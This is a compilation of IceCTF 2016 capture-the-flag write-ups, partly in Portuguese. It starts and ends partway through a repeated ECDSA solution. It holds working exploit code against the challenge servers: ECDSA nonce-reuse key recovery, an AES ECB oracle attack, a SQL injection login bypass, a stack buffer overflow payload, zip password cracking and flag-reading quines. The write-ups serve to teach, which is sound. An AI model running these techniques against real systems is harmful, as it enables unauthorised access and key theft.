This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# Flag Storage
SQL Injection basico, porem existia a trick que, não era possivel inserir comandos SQL no post padrão enviado pelo form, havia a necessidade de se inverter os campos para inserir o SQL e então logar como admin
**POST enviado pelo form**```username=admin&password_plain=admin&password=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855```
**Resolução**```greyhound//deadcow ~/fun/icectf/flagstorage % curl -s -iL flagstorage.vuln.icec.tf/login.php -d "username=admin&password=1'+OR+'1'='1&password_plain=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"|grep IceCTF<h1>Logged in!</h1>Your flag is: IceCTF{why_would_you_even_do_anything_client_side}greyhound//deadcow ~/fun/icectf/flagstorage %```
Your flag is: IceCTF{why_would_you_even_do_anything_client_side} |
# RIP Transmissions
O desafio apresentava um binário ELF 64 bits com um arquivo zip dentro dele, extraindo esse zip era ainda necessário descobrir a senha do mesmo, na primeira tentativa utilizando o john-the-ripper conseguimos extrair a flag
```greyhound//deadcow ~/fun/icectf/rip % file riprip: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d25812cd846673ab364694e08d9adb83f38bb96f, strippedgreyhound//deadcow ~/fun/icectf/rip % foremost ripProcessing: rip|foundat=rip.jpgUT*|greyhound//deadcow ~/fun/icectf/rip % cd output/zipgreyhound//deadcow ~/fun/icectf/rip/output/zip % zip2john 00000026.zip > passver 14 efh 5455 efh 7875 00000026.zip->rip.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=112199, decmplen=112190, crc=FB1DC293greyhound//deadcow ~/fun/icectf/rip/output/zip % john --wordlist=~/rockyou.txt passCreated directory: /home/deadcow/.johnLoaded 1 password hash (PKZIP [32/64])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusbunny (00000026.zip)1g 0:00:00:00 DONE (2016-08-16 21:58) 3.571g/s 58514p/s 58514c/s 58514C/s 123456..christalUse the "--show" option to display all of the cracked passwords reliablySession completedgreyhound//deadcow ~/fun/icectf/rip/output/zip % unzip 00000026.zipArchive: 00000026.zip[00000026.zip] rip.jpg password:inflating: rip.jpggreyhound//deadcow ~/fun/icectf/rip/output/zip % feh rip.jpg```
|
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
